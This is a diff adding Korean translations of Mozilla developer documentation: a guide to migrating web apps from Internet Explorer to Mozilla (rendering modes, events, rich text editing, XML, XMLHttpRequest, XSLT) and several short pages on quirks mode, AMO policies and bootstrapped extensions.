IE 4와 같은 오래된 구식 브라우저에서는 특정 상황하에서 일명 쿼크라 불리는 모드로 렌더링 된다. Mozilla는 표준 적용을 지향하는 브라우저인 반면에, 이러한 쿼크 모드로 만들어진 오래된 웹페이지를 지원하는 세가지 모드를 가진다. 페이지의 컨텐츠와 전송이 Mozilla가 어느 모드를 사용할 것인지를 결정한다. Mozilla는 보기 -> 페이지 정보 (혹은 Ctrl+I)에서 렌더링 모드를 볼 수 있다. 파이어 폭스는 도구 -> 페이지 정보에서 렌더링 모드를 표시한다. 페이지가 어느 모드로 될 것인지는 doctype에 따라 결정된다.

+

Doctypes (간략한 문서 타입 선언)은 다음과 같은 형식이다:

+

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

+

파란 부분이 퍼블릭 식별자이고 녹색 부분이 시스템 식별자인데, URI로 되어 있다.

+

표준 모드

+

표준 모드는 가장 엄격한 렌더링 모드이다. 이것은 W3C의 HTML 스펙과 CSS 스펙으로 페이지를 렌더링 하며 어떠한 쿼크도 지원하지 않는다. Mozilla는 다음 조건에 대해 표준 모드를 사용한다:

+ +

반표준 모드

+

Mozilla는 한가지 이유때문에 반표준 모드를 도입했다: CSS 2 스펙의 한부분이 테이블 셀에 있는 작은 이미지들의 정확한 레이아웃을 기반한 디자인을 깬다는 것이다. 사용자에게 하나의 이미지로 보여지지 않고 각각의 작은 이미지 사이에 틈이 생긴다. 그림 5에서 볼 수 있듯이 예전 IBM 사이트에서 그 예를 찾을 수 있다.

+

그림 5. 이미지 간격

+

이미지 간격

+

반표준 모드는 이미지 갭 문제를 제외하고는 표준 모드와 거의 일치하는데, 이 문제는 표준 적용 페이지에서 종종 발생하며 페이지를 부정확하게 보여지게 만든다.

+

Mozilla는 다음의 경우에 반표준 모드를 사용한다:

+ +

image gap issue에서 더 많은 정보를 얻을 수 있다.

+

쿼크 모드

+

현재 웹은 브라우저에서 버그에 의해서만 작동하는 마크업들 뿐만 아닌, 유효하지 않은 HTML 마크업들로 가득 차 있다. 예전의 넷스케이프 브라우저는 넷스케이프가 시장의 선두주자였을때도 버그를 가지고 있었다. IE가 나왔을때 그것은 그시절의 컨텐츠들을 작동시키기 위해 그러한 버그들을 흉내내었다. 새로운 브라우저들이 시장으로 나옴에 따라 대부분의 원래 버그들(보통 쿼크라 부름)은 하위 버전 호환성을 위해 내버려 두었다. Mozilla는 쿼크 렌더링 모드에서 이러한것들의 많은 부분을 지원한다. 주의할 점은 이러한 쿼크들 때문에 페이지는 완전히 표준 적용모드일때보다 느리게 렌더링 될 것이라는 점이다. 대부분의 웹페이지는 이 모드에서 렌더링 된다.

+

Mozilla는 다음 조건에서 쿼크 모드를 사용한다:

+ +

더 자세한 사항은 다음을 참고하라: Mozilla Quirks Mode Behavior, Mozilla's DOCTYPE sniffing.

+

이벤트 차이

+

Mozilla와 IE는 이벤트의 영역에서 거의 완전히 다르다. Mozilla의 이벤트 모델은 W3C와 넷스케이프 모델을 따른다. IE는 이벤트로부터 함수가 불려지면 이 함수는 window.event를 통해 event 오브젝트에 접근할 수 있다. Mozilla는 event 오브젝트를 이벤트 핸들러로 전달한다. Mozilla에서는 반드시 인수를 통해 불려진 함수로 오브젝트를 명시적으로 전달해야 한다. 크로스 브라우저 이벤트 핸들링 예제는 다음(코드 상에 event로 이름지어진 전역 변수를 정의할 수 없음을 유의)과 같다:

+
<div onclick="handleEvent(event);">Click me!</div>
+
+<script>
+  function handleEvent(aEvent) {
+    var myEvent = window.event ? window.event : aEvent;
+  }
+</script>
+
+

Mozilla와 IE에는 이벤트 오브젝트가 드러내는 속성과 함수도 종종 다르게 이름 지어졌는데 표4에 나와있는 것과 같다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ 표 4. Event properties differences between Mozilla and Internet Explorer
Internet Explorer NameMozilla NameDescription
altKeyaltKeyBoolean property that returns whether the alt key was pressed during the event.
cancelBubblestopPropagation()Used to stop the event from bubbling farther up the tree.
clientXclientXThe X coordinate of the event, in relation to the element viewport.
clientYclientYThe Y coordinate of the event, in relation to the element viewport.
ctrlKeyctrlKeyBoolean property that returns whether the Ctrl key was pressed during the event.
fromElementrelatedTargetFor mouse events, this is the element from which the mouse moved away.
keyCodekeyCodeFor keyboard events, this is a number representing the key that was pressed. It is 0 for mouse events. For keypress events (not keydown/keyup) of keys that produce output, the Mozilla equivalent is charCode, not keyCode.
returnValuepreventDefault()Used to prevent the event's default action from occurring.
screenXscreenXThe X coordinate of the event, in relation to the screen.
screenYscreenYThe Y coordinate of the event, in relation to the screen.
shiftKeyshiftKeyBoolean property that returns whether the Shift key was pressed during the event.
srcElementtargetThe element to which the event was originally dispatched.
toElementcurrentTargetFor mouse events, this is the element to which the mouse moved.
typetypeReturns the name of the event.
+

이벤트 핸들러 등록

+

Mozilla는 자바스크립트를 통해 이벤트를 등록하는 두가지 방법을 지원한다. 첫번째는 모든 브라우저에서 지원되는 오브젝트에 직접적으로 이벤트 속성을 지정하는 방법이다. click 이벤트 핸들러를 지정하기 위해 함수 레퍼런스가 오브젝트의 onclick 속성에 전달된다:

+
<div id="myDiv">Click me!</div>
+
+<script>
+  function handleEvent(aEvent) {
+    // if aEvent is null, means the Internet Explorer event model,
+    // so get window.event.
+    var myEvent = aEvent ? aEvent : window.event;
+  }
+
+  function onPageLoad(){
+    document.getElementById("myDiv").onclick = handleEvent;
+  }
+</script>
+
+

Mozilla는 DOM 노드에 리스너를 등록하는 W3C의 표준 방법을 전적으로 지원한다. addEventListener()removeEventListener() 메소드를 사용하면 동일한 이벤트 타입에 대해 여러 리스너를 지정할 수 있는 장점이 있다. 두 메소드는 세가지 파라미터를 필요로 한다 : 이벤트 타입, 함수 레퍼런스, 리스너가 캡쳐 구간에서 이벤트를 잡을 것인지에 대한 불린(boolean)값. 불린 값이 false로 지정되면, 버블링 이벤트만을 잡아낸다. W3C 이벤트는 capturing, at target, bubbling 세가지 단계을 가진다. 모든 이벤트 오브젝트는 단계를 숫자(0 인덱스)로 표시하는 eventPhase 속성을 가진다. 이벤트가 발생할 때 마다 이벤트는 DOM의 가장 바깥 엘리먼트, DOM 트리의 가장 상위 엘리먼트에서 출발한다. 그리고는 타겟을 향하여 가장 직접적인 경로를 사용하여 DOM을 타고 들어가는데 이것이 capturing 단계이다. 이벤트가 타겟에 도착하면 이벤트는 target 단계에 있는 것이다. 타겟에 도착한 후 이벤트는 다시 DOM 트리의 가장 바깥쪽으로 빠져 나가는데 이것이 bubbling 이다. IE의 이벤트 모델은 bubbling 단계만을 갖고 있기 때문에 IE의 동작과 같은 결과를 내려면 세번째 파라미터를 false로 지정해야 한다:

+
<div id="myDiv">Click me!</div>
+
+<script>
+
+  function handleEvent(aEvent) {
+    // if aEvent is null, it is the Internet Explorer event model,
+    // so get window.event.
+    var myEvent = aEvent ? aEvent : window.event;
+  }
+
+  function onPageLoad() {
+    var element = document.getElementById("myDiv");
+    element.addEventListener("click", handleEvent, false);
+  }
+</script>
+
+

속성 지정보다 addEventListener()removeEventListener()를 사용하는 것의 장점 중 하나는 동일한 이벤트에 대해 각각 다른 함수를 호출하는 여러 이벤트 리스너를 가질 수 있다는 것이다. 그러므로 이벤트 리스너를 삭제하기 위해서는 추가할 때와 동일한 세개의 파라미터가 필요하다.

+

Mozilla는 IE의 <script> 태그를 이벤트 핸들러로 변환하는 메소드를 지원하지 않는데, 이것은 <script>를 forevent 속성으로 확장한다. (표 5.) Mozilla는 attachEventdetachEvent 메소드도 지원하지 않는다. 대신에 addEventListenerremoveEventListener 메소드를 써야 한다. IE는 W3C 이벤트 스펙을 지원하지 않는다.

+ + + + + + + + + + + + + + + + + + + +
+ 표 5. Event method differences between Mozilla and Internet Explorer
Internet Explorer MethodMozilla MethodDescription
attachEvent(aEventType, aFunctionReference)addEventListener(aEventType, aFunctionReference, aUseCapture)Adds an event listener to a DOM element.
detachEvent(aEventType, aFunctionReference)removeEventListener(aEventType, aFunctionReference, aUseCapture)Removes an event listener to a DOM element.
+

리치 텍스트 편집

+

Mozilla가 W3C 표준을 가장 잘 적용한 브라우저라는 것을 자랑스러워하기는 하지만, W3C에 대응되는 표준이 없을 시 Mozilla는 innerHTML이나 rich text editing 같은 비표준 기능도 지원한다.

+

Mozilla 1.3은 IE의 designMode 기능 구현을 도입했는데 이것은 HTML 문서를 리치 텍스트 에디터 필드로 바꾼다. 일단 에디터로 바뀌고나면 명령들은 execCommand 명령을 통해 문서상에서 실행될 수 있다. Mozilla는 어떤 위젯이라도 편집가능하게 만드는 IE의 contentEditable 속성을 지원하지 않는다. 리치 텍스트 에디터를 추가하려면 iframe을 사용할 수 있다.

+

리치 텍스트 차이

+

Mozilla는 IFrameElmRef.contentDocument를 통해 iframe의 문서 오브젝트를 접근하는 W3C의 표준을 지원한다. 반면에 IE는 document.frames{{ mediawiki.external('\"IframeName\"') }}를 통해 접근할 수 있고, 그 후 결과 document에 접근할 수 있다:

+
<script>
+function getIFrameDocument(aID) {
+  var rv = null;
+
+  // if contentDocument exists, W3C compliant (Mozilla)
+  if (document.getElementById(aID).contentDocument){
+    rv = document.getElementById(aID).contentDocument;
+  } else {
+    // IE
+    rv = document.frames[aID].document;
+  }
+  return rv;
+}
+</script>
+
+

Mozilla와 IE간의 또 다른 차이점은 리치 텍스트 에디터가 만들어내는 HTML이다. Mozilla는 기본적으로 생성된 마크업에 CSS를 사용하게 한다. 그러나 Mozilla는 useCSS execCommand를 사용하여 HTML과 CSS사이를 전환할 수 있게 한다. IE는 항상 HTML 마크업을 사용한다.

+
Mozilla (CSS):
+  <span style="color: blue;">Big Blue</span>
+
+Mozilla (HTML):
+  <font color="blue">Big Blue</font>
+
+Internet Explorer:
+  <FONT color="blue">Big Blue</FONT>
+
+

아래는 Mozilla에서의 execCommand가 지원하는 명령 리스트이다:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ 표 6. Rich text editing commands
Command NameDescriptionArgument
boldToggles the selection's bold attribute.---
createlinkGenerates an HTML link from the selected text.The URL to use for the link
deleteDeletes the selection.---
fontnameChanges the font used in the selected text.The font name to use (Arial, for example)
fontsizeChanges the font size used in the selected text.The font size to use
fontcolorChanges the font color used in the selected text.The color to use
indentIndents the block where the caret is.---
inserthorizontalruleInserts an <hr> element at the cursor's position.---
insertimageInserts an image at the cursor's position.URL of the image to use
insertorderedlistInserts an ordered list (<ol>) element at the cursor's position.---
insertunorderedlistInserts an unordered list (<ul>) element at the cursor's position.---
italicToggles the selection's italicize attribute.---
justifycenterCenters the content at the current line.---
justifyleftJustifies the content at the current line to the left.---
justifyrightJustifies the content at the current line to the right.---
outdentOutdents the block where the caret is.---
redoRedoes the previous undo command.---
removeformatRemoves all formatting from the selection.---
selectallSelects everything in the rich text editor.---
strikethroughToggles the strikethrough of the selected text.---
subscriptConverts the current selection into subscript.---
superscriptConverts the current selection into superscript.---
underlineToggles the underline of the selected text.---
undoUndoes the last executed command.---
unlinkRemoves all link information from the selection.---
useCSSToggles the usage of CSS in the generated markup.Boolean value
+

더 자세한 사항은 다음을 참고하라: Rich-Text Editing in Mozilla.

+

XML 차이

+

Mozilla는 XSLT과 웹서비스와 같은 XML과 XML관련 기술에 대해 강력한 지원을 한다. Mozilla는 XMLHttpRequest과 같은 비표준 IE 확장도 지원한다.

+

XML을 다루는 법

+

표준 HTML 에서 처럼, Mozilla는 W3C XML DOM 스펙을 지원하며, 이것은 XML 문서의 거의 모든 면을 조작할 수 있게 한다. IE의 XML DOM과 Mozilla의 차이는 보통 IE의 비표준 동작에서 야기된다. 아마도 가장 일반적인 차이점은 공백 텍스트 노드를 어떻게 다루는가 이다. 종종 XML이 생성될 때 XML 노드 사이에 공백이 포함된다. IE는 XMLNode.childNodes[]를 사용할 때 이러한 공백 노드를 포함하지 않는다. 그러나 Mozilla에서는 이 노드들이 배열에 들어간다.

+
XML:
+  <?xml version="1.0"?>
+  <myXMLdoc xmlns:myns="http://myfoo.com">
+    <myns:foo>bar</myns:foo>
+  </myXMLdoc>
+
+JavaScript:
+  var myXMLDoc = getXMLDocument().documentElement;
+  alert(myXMLDoc.childNodes.length);
+
+

자바스크립트의 첫번째 라인이 XML 문서를 로드하고 documentElement를 탐색하여 루트 앨리먼트 (myXMLDoc)에 접근한다. 두번째 라인은 단순히 자식 노드의 수를 얼럿창에 띄운다. W3C 스펙에 따르면 공백과 줄바꿈은 서로 붙어 있을시 하나의 텍스트 노드로 합쳐진다. Mozilla의 경우에 myXMLdoc 노드는 세개의 자식을 가진다: 줄바꿈과 두개의 스페이스를 가진 텍스트 노드, myns:foo노드, 줄바꿈을 가진 또 하나의 텍스트 노드. 그러나, IE는 이것을 지키지 않고 위의 코드에 대해 1, 즉 myns:foo 노드만을 리턴한다. 그러므로 자식노드를 취하고 텍스트 노드를 버리기 위해, 이러한 노드들을 구별해 내야 한다.

+

앞서 언급했던 것처럼 모든 노드는 노드 타입을 가리키는 nodeType 속성을 가진다. 예를 들어, 엘리먼트 노드는 타입 1이고, 도큐먼트 노드는 타입 9이다. 텍스트 노드를 무시하기 위해서는 반드시 타입 3(텍스트 노드)와 8(주석 노드)를 체크해야 한다.

+
XML:
+  <?xml version="1.0"?>
+  <myXMLdoc xmlns:myns="http://myfoo.com">
+    <myns:foo>bar</myns:foo>
+  </myXMLdoc>
+
+JavaScript:
+  var myXMLDoc = getXMLDocument().documentElement;
+  var myChildren = myXMLDoc.childNodes;
+
+  for (var run = 0; run < myChildren.length; run++){
+    if ( (myChildren[run].nodeType != 3) &&
+          myChildren[run].nodeType != 8) ){
+      // not a text or comment node
+    };
+  };
+
+

더 자세한 사항과 해결방안은 다음을 참고하라: Whitespace in the DOM

+

XML 데이터 아일랜드

+

IE는 XML 데이터 아일랜드라 불리우는 비표준 기능을 가지고 있는데 이것은 비표준 HTML 태그인 <xml> 을 사용하여 HTML 문서내에 XML을 포함할 수 있게 한다. Mozilla는 XML 데이터 아일랜드를 지원하지 않으며 이것을 인식되지 않는 HTML 태그로 취급한다. 같은 기능을 XHTML을 사용하여 이룰 수 있지만, IE의 XHTML 지원은 미약하기 때문에 이것은 보통 추가적인 것은 아니다.

+

IE의 XML 데이터 아일랜드:

+
<xml id="xmldataisland">
+  <foo>bar</foo>
+</xml>
+
+

크로스 브라우징 해결 방법 중의 하나는 DOM 파서를 이용하는 것인데 이것은 직렬화된 XML 문서를 포함한 문자열을 파싱하고 파싱된 XML에 대한 문서를 생성한다. Mozilla는 DOMParser 오브젝트를 사용하며, 이는 직렬화된 문자열을 가지고 외부로 XML 문서를 생성한다. IE에서는 같은 기능을 ActiveX를 사용하여 만들수 있다. new ActiveXObject("Microsoft.XMLDOM")를 사용하여 생성한 오브젝트는 문자열을 가지고 문서를 생성하는 loadXML 메소드를 가진다. 다음 코드가 그 방법을 보여준다:

+
 var xmlString = "<xml id=\"xmldataisland\"><foo>bar</foo></xml>";
+
+
 var myDocument;
+
+
 if (document.implementation.createDocument){
+   // Mozilla, create a new DOMParser
+   var parser = new DOMParser();
+   myDocument = parser.parseFromString(xmlString, "text/xml");
+ } else if (window.ActiveXObject){
+   // Internet Explorer, create a new XML document using ActiveX
+   // and use loadXML as a DOM parser.
+   myDocument = new ActiveXObject("Microsoft.XMLDOM");
+   myDocument.async="false";
+   myDocument.loadXML(xmlString);
+ }
+
+

</pre>

+

다른 대안은 다음을 참고하라: Using XML Data Islands in Mozilla

+

XML HTTP request

+

IE는 MSXML의 XMLHTTP 클래스를 사용하여 XML 파일을 보내거나 탐색할 수 있게 하는데, 이것은 new ActiveXObject("Msxml2.XMLHTTP") 또는 new ActiveXObject("Microsoft.XMLHTTP")를 사용한 ActiveX를 통해 인스턴스화 된다. 이러한 것에 대해 표준이 존재하지 않기 때문에, Mozilla는 같은 기능에 대해 전역 자바스크립트 객체인 XMLHttpRequest에서 이를 제공한다. IE도 역시 버전 7 부터는 원시 XMLHttpRequest 오브젝트를 지원한다.

+

new XMLHttpRequest()를 사용하여 오브젝트를 인스턴스화 한 뒤에는 어떤 타입의 요청(GET 혹은 POST)을 사용할 것인지, 어느 파일을 로드할 것인지, 비동기인지 아닌지를 지정하기 위한 open 메소드를 사용할 수 있다. 만약 호출이 비동기이면 onload 멤버에 함수 레퍼런스를 준다. 이것은 요청이 완료 되었을때 한번 호출된다.

+

동기 요청:

+
  var myXMLHTTPRequest = new XMLHttpRequest();
+  myXMLHTTPRequest.open("GET", "data.xml", false);
+
+  myXMLHTTPRequest.send(null);
+
+  var myXMLDocument = myXMLHTTPRequest.responseXML;
+
+

비동기 요청:

+
  var myXMLHTTPRequest;
+
+  function xmlLoaded() {
+    var myXMLDocument = myXMLHTTPRequest.responseXML;
+  }
+
+  function loadXML(){
+    myXMLHTTPRequest = new XMLHttpRequest();
+
+    myXMLHTTPRequest.open("GET", "data.xml", true);
+
+    myXMLHTTPRequest.onload = xmlLoaded;
+
+    myXMLHTTPRequest.send(null);
+  }
+
+

표 7은 Mozilla의 XMLHttpRequest</code에 대해 사용가능한 메소드와 속성들의 리스트이다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ 표 7. XMLHttpRequest methods and properties
NameDescription
void abort()Stops the request if it is still running.
string getAllResponseHeaders()Returns all response headers as one string.
string getResponseHeader(string headerName)Returns the value of the specified header.
functionRef onerrorIf set, the references function will be called whenever an error occurs during the request.
functionRef onloadIf set, the references function will be called when the request completes successfully and the response has been received. Use when an asynchronous request is used.
void open (string HTTP_Method, string URL)
+
+ void open (string HTTP_Method, string URL, boolean async, string userName, string password)
Initializes the request for the specified URL, using either GET or POST as the HTTP method. To send the request, call the send() method after initialization. If async is false, the request is synchronous, else it defaults to asynchronous. Optionally, you can specify a username and password for the given URL needed.
int readyStateState of the request. Possible values: + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ValueDescription
0UNINITIALIZED - open() has not been called yet.
1LOADING - send() has not been called yet.
2LOADED - send() has been called, headers and status are available.
3INTERACTIVE - Downloading, responseText holds the partial data.
4COMPLETED - Finished with all operations.
+
string responseTextString containing the response.
DOMDocument responseXMLDOM Document containing the response.
void send(variant body)Initiates the request. If body is defined, it is sent as the body of the POST request. body can be an XML document or a string serialized XML document.
void setRequestHeader (string headerName, string headerValue)Sets an HTTP request header for use in the HTTP request. Has to be called after open() is called.
string statusThe status code of the HTTP response.
+

XSLT 차이

+

Mozilla는 XSL 변환 (XSLT) 1.0을 지원한다. Mozilla는 또한 자바스크립트로 XSLT 변환을 실행하는 것을 지원하고 문서상에서 XPath를 실행 하는 것도 지원한다.

+

Mozilla에서는 XML 이나 XSLT 파일을 보낼때 XML mimetype (<code>text/xml or application/xml)을 사용해야 한다. 이것이 왜 XSLT가 Mozilla에서는 실행되지 않는데 IE에서는 실행되는 가에 대한 가장 일반적인 이유이다. Mozilla는 이런식으로 엄격하다.

+

IE 5.0과 5.5는 XSLT의 working draft를 지원했는데 이것은 final 1.0 recommendation과는 상당히 차이가 있었다. XSLT가 어느 버전으로 쓰였는지 구별할 수 있는 가장 쉬운 방법은 네임스페이스를 보는 것이다. 1.0 권고안의 네임스페이스는 http://www.w3.org/1999/XSL/Transform인 반면, working draft의 네임스페이스는 http://www.w3.org/TR/WD-xsl이다. IE 6은 하위 호환성을 위하여 working draft를 지원한다. 그러나 Mozilla는 working draft를 지원하지 않고 최종 권고안만을 지원한다.

+

만약 XSLT에서 브라우저를 구별해야 한다면 "xsl:vendor" 시스템 속성으로 알아낼 수 있다. Mozilla의 XSLT엔진은 "Transformiix"라고 표시하겠지만 IE는 "Microsoft"를 반환할 것이다.

+
<xsl:if test="system-property('xsl:vendor') = 'Transformiix'">
+  <!-- Mozilla specific markup -->
+</xsl:if>
+<xsl:if test="system-property('xsl:vendor') = 'Microsoft'">
+  <!-- Internet Explorer specific markup -->
+</xsl:if>
+
+

Mozilla는 XSLT에 대한 자바스크립트 인터페이스도 지원하며 이것은 웹사이트가 메모리 상에서 XSLT 변환을 완료할 수 있게 한다. 이것은 자바스크립트 전역 오브젝트인 XSLTProcessor를 사용하여 할 수 있다. XSLTProcessor는 XML과 XSLT 파일을 로드해야 하는데, 이것은 DOM 도큐먼트가 필요하기 때문이다. XSLTProcessor에 의해 임포트된 XSLT 문서는 XSLT 파라미터들을 조작할 수 있게 한다.

+

XSLTProcessor 는 transformToDocument()를 사용하여 단독 도큐먼트를 생성하거나 transformToFragment()를 사용하여 도큐먼트 프래그먼트를 생성할 수 있다. 이것은 다른 DOM 문서에 쉽게 추가할 수 있다. 다음의 예를 보자:

+
var xslStylesheet;
+var xsltProcessor = new XSLTProcessor();
+
+// load the xslt file, example1.xsl
+var myXMLHTTPRequest = new XMLHttpRequest();
+myXMLHTTPRequest.open("GET", "example1.xsl", false);
+myXMLHTTPRequest.send(null);
+
+// get the XML document and import it
+xslStylesheet = myXMLHTTPRequest.responseXML;
+
+xsltProcessor.importStylesheet(xslStylesheet);
+
+// load the xml file, example1.xml
+myXMLHTTPRequest = new XMLHttpRequest();
+myXMLHTTPRequest.open("GET", "example1.xml", false);
+myXMLHTTPRequest.send(null);
+
+var xmlSource = myXMLHTTPRequest.responseXML;
+
+var resultDocument = xsltProcessor.transformToDocument(xmlSource);
+
+

XSLTProcessor를 생성한 후에는 XMLHttpRequest를 사용하여 XSLT 파일을 로드한다. XMLHttpRequest의 responseXML 멤버는 XSLT파일의 XML 문서를 포함하는데, 이는 importStylesheet로 전달된다. 그리고 나서 XMLHttpRequest를 다시 사용하여 변환되어야 하는 원본 XML 문서를 로드한다. 이 문서는 이제 XSLTProcessortransformToDocument 멤버로 전달된다. 표 8은 XSLTProcessor 메소드의 리스트이다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ 표 8. XSLTProcessor methods
MethodDescription
void importStylesheet(Node styleSheet)Imports the XSLT stylesheet. The styleSheet argument is the root node of an XSLT stylesheet's DOM document.
DocumentFragment transformToFragment(Node source, Document owner)Transforms the Node source by applying the stylesheet imported using the importStylesheet method and generates a DocumentFragment. owner specifies what DOM document the DocumentFragment should belong to, making it appendable to that DOM document.
Document transformToDocument(Node source)Transforms the Node source by applying the stylesheet imported using the importStylesheet method and returns a standalone DOM document.
void setParameter(String namespaceURI, String localName, Variant value)Sets a parameter in the imported XSLT stylesheet.
Variant getParameter(String namespaceURI, String localName)Gets the value of a parameter in the imported XSLT stylesheet.
void removeParameter(String namespaceURI, String localName)Removes all set parameters from the imported XSLT stylesheet and makes them default to the XSLT-defined defaults.
void clearParameters()Removes all set parameters and sets them to defaults specified in the XSLT stylesheet.
void reset()Removes all parameters and stylesheets.
+
+

원래 문서 정보

+ +
+

{{ languages( { "en": "en/Migrate_apps_from_Internet_Explorer_to_Mozilla" } ) }}

diff --git a/files/ko/mozilla's_quirks_mode/index.html b/files/ko/mozilla's_quirks_mode/index.html new file mode 100644 index 0000000000..1cf28fcbb7 --- /dev/null +++ b/files/ko/mozilla's_quirks_mode/index.html @@ -0,0 +1,22 @@ +--- +title: Mozilla's Quirks Mode +slug: Mozilla's_Quirks_Mode +tags: + - Gecko + - Web Development + - Web Standards +translation_of: Mozilla/Mozilla_quirks_mode_behavior +--- +

웹 상의 현존 컨텐트가 표준을 따르지 않거나 표준 호환 브라우저에서 의도하지 않은 방식으로 보이기 때문에, Mozilla는 일부 컨텐트는 하위 호환성이 있는 방식으로 일부 컨텐트는 표준에 따라 처리합니다.

+ +

레이아웃 엔진이 쓰는 모드는 하위 호환(quirks) 모드, 거의 표준(almost standards) 모드, 그리고 완전 표준(full standards) 모드 셋입니다. 하위 호환 모드에서, 레이아웃은 웹 상의 현존 컨텐트를 깰(break) 필요가 없는 Windows용 Navigator 4와 MSIE에서 비표준 behavior를 에뮬레이트합니다. 완전 표준 모드에서, behavior는 (잘하면) HTML과 CSS 명세에 기술된 behavior입니다. 거의 표준 모드에서는, 구현된 quirk(는 거의 표준 모드를 쓰게 하는 DOCTYPE을 쓰는 웹 상의 실제 페이지를 깸) 수가 아주 조금 밖에 없습니다.

+ +

Mozilla가 쓸 모드를 어떻게 결정하는가?

+ +

text/html로 보낸 문서의 경우, Mozilla는 하위 호환 모드나 표준 모드 가운데 어느 쪽으로 문서를 처리할지 결정해야 합니다(text/xml 또는 다른 XML이나 XHTML MIME 형으로 보낸 컨텐트는 항상 strict 모드로 처리됨). 현재 Mozilla는 이 결정을 DOCTYPE sniffing을 통해 수행합니다. 즉, 페이지가 모든 표준 behavior가 쓰일 때 정확히 작동하기를 기대할 수 있는 최근 작성된 웹 페이지인지에 관한 암시로서 DOCTYPE 선언(DTD)을 씁니다. DOCTYPE sniffing이 어떻게 레이아웃 모드를 결정하는데 쓰이는지는 상세한 설명 참조.

+ +

DTD가 원래 다른 이유로 있기 때문에, 페이지의 DTD를 바꾸지 않고 레이아웃 모드를 설정(또는 제안)할 수 있게 하는 요구가 제작자들에게 있어 왔습니다. 지금까지는 그러한 메서드가 구현되지 않았지만, 주된 계획은 문서 헤드(head)의 META 요소를 통해 접근할 수도 있는 HTTP 헤더입니다.

+ +

모드 사이의 차이점은 무엇인가?

+ +

모드 사이의 차이점은 quirk 목록 참조.

diff --git a/files/ko/mozilla/add-ons/amo/index.html b/files/ko/mozilla/add-ons/amo/index.html new file mode 100644 index 0000000000..e1684b2100 --- /dev/null +++ b/files/ko/mozilla/add-ons/amo/index.html @@ -0,0 +1,15 @@ +--- +title: AMO +slug: Mozilla/Add-ons/AMO +tags: + - NeedsTranslation + - TopicStub +translation_of: Mozilla/Add-ons/AMO +--- +

Pages documenting addons.mozilla.org:

+ +

{{Listsubpages("/en-US/Add-ons/AMO", 10)}}

+ +

 

+ +

 

diff --git a/files/ko/mozilla/add-ons/amo/policy/index.html b/files/ko/mozilla/add-ons/amo/policy/index.html new file mode 100644 index 0000000000..58fb599b47 --- /dev/null +++ b/files/ko/mozilla/add-ons/amo/policy/index.html @@ -0,0 +1,29 @@ +--- +title: AMO Policies +slug: Mozilla/Add-ons/AMO/Policy +tags: + - AMO + - Add-ons + - Firefox + - NeedsTranslation + - Policies + - TopicStub +translation_of: Mozilla/Add-ons/AMO/Policy +--- +

{{AddonSidebar}}

+ +

Mozilla is committed to ensuring an excellent experience for both our users and developers of add-ons. Please review the policies below before submitting your add-on.

+ +
+
Developer Agreement
+
This agreement is effective as of June 10, 2019.
+
Add-on policies
+
Add-ons extend the core capabilities of Firefox, enabling users to modify and personalize their Web experience. A healthy add-on ecosystem, built on trust, is vital for developers to be successful and users to feel safe making Firefox their own.
+
For these reasons, Mozilla requires all add-ons to comply with the add-on policies on acceptable practices. The policies are not intended to serve as legal advice, nor are they intended to serve as a comprehensive list of terms to include in your add-on’s privacy policy.
+
Featured Add-ons
+
How up-and-coming add-ons become featured and what's involved in the process.
+
Contact Us
+
How to get in touch with us regarding these policies or your add-on. +

 

+
+
diff --git a/files/ko/mozilla/add-ons/bootstrapped_extensions/index.html b/files/ko/mozilla/add-ons/bootstrapped_extensions/index.html new file mode 100644 index 0000000000..19bb9e4af8 --- /dev/null +++ b/files/ko/mozilla/add-ons/bootstrapped_extensions/index.html @@ -0,0 +1,349 @@ +--- +title: Bootstrapped extensions +slug: Mozilla/Add-ons/Bootstrapped_extensions +translation_of: Archive/Add-ons/Bootstrapped_extensions +--- +

{{ gecko_minversion_header("2.0") }}

+ +
+

노트: 부가기능 SDK 를 사용한 모든 확장기능은 부트스트랩입니다! 모든 부트스트랩 코드는 생성되었으므로 따로 고민할 필요 없습니다. 부가기능 SDK를 사용하지 않으셨나요? 계속 읽어주세요...

+
+ +

전통적인 확장기능은 오버레이를 포함하고 있습니다. 오버레이는 확장기능 패키지에서 XUL 파일을 꺼내 자동으로 UI 위에 덧씌웁니다. 이 방식을 쓰면 UI에 무언가 더하는 확장기능을 만들기 쉬워지지만 업데이트, 설치, 사용불가를 할 때마다 파이어폭스를 다시 시작해야 합니다.

+ +

Gecko 2.0{{ geckoRelease("2.0") }}은 부트스트랩 확장기능을 소개합니다. 이것은 오버레이 대신 직접 파이어폭스로 삽입되게 프로그램밍된  확장기능입니다.  확장기능 안에 포함된 어떤 스크립트 파일이 브라우저가 이 확장기능을 설치, 제거, 실행, 종료할 수 있게 해 줍니다.

+ +

파이어폭스가 하는 일은 스크립트 파일에 따라 호출하는 것 뿐입니다.  UI의 추가, 제거, 설치, 종료 등은 모두 확장기능이 알아서 합니다.

+ +

이 문서는 어떻게 부트스트랩 확장기능이 작동하는지 알려줍니다. 오버레이 확장기능을 부트스트랩으로 바꾸려면 converting from an overlay extension to restartless 이 문서를 확인하세요.

+ +

시작과 종료 프로세스

+ +

부트스트랩 확장기능의 가장 중요한 점은 필요에 따라 파이어폭스가 마음대로 켜고 끌 수 있어야 한다는 점입니다. 확장기능의 startup() 함수가 호출되면 UI와 다른 기능들이 수동으로 실행되어야 합니다. 마찬가지로 shutdown() 함수가 호출되면 파이어폭스에 추가한 것과 그것의 오브젝트의 모든 리퍼런스를 제거해야 합니다.

+ +

startup() 함수가 호출될 때의 예:

+ + + +

shutdown() 함수가 호출될 때의 예:

+ + + +

파이어폭스 UI를 변경할 때

+ +

부트스트랩 부가기능의 chrome.manifest

+ +

다으의 경우에서 부트스트랩 부가기능의 chrome.manifest 을 사용할 수 있습니다:

+ +
    +
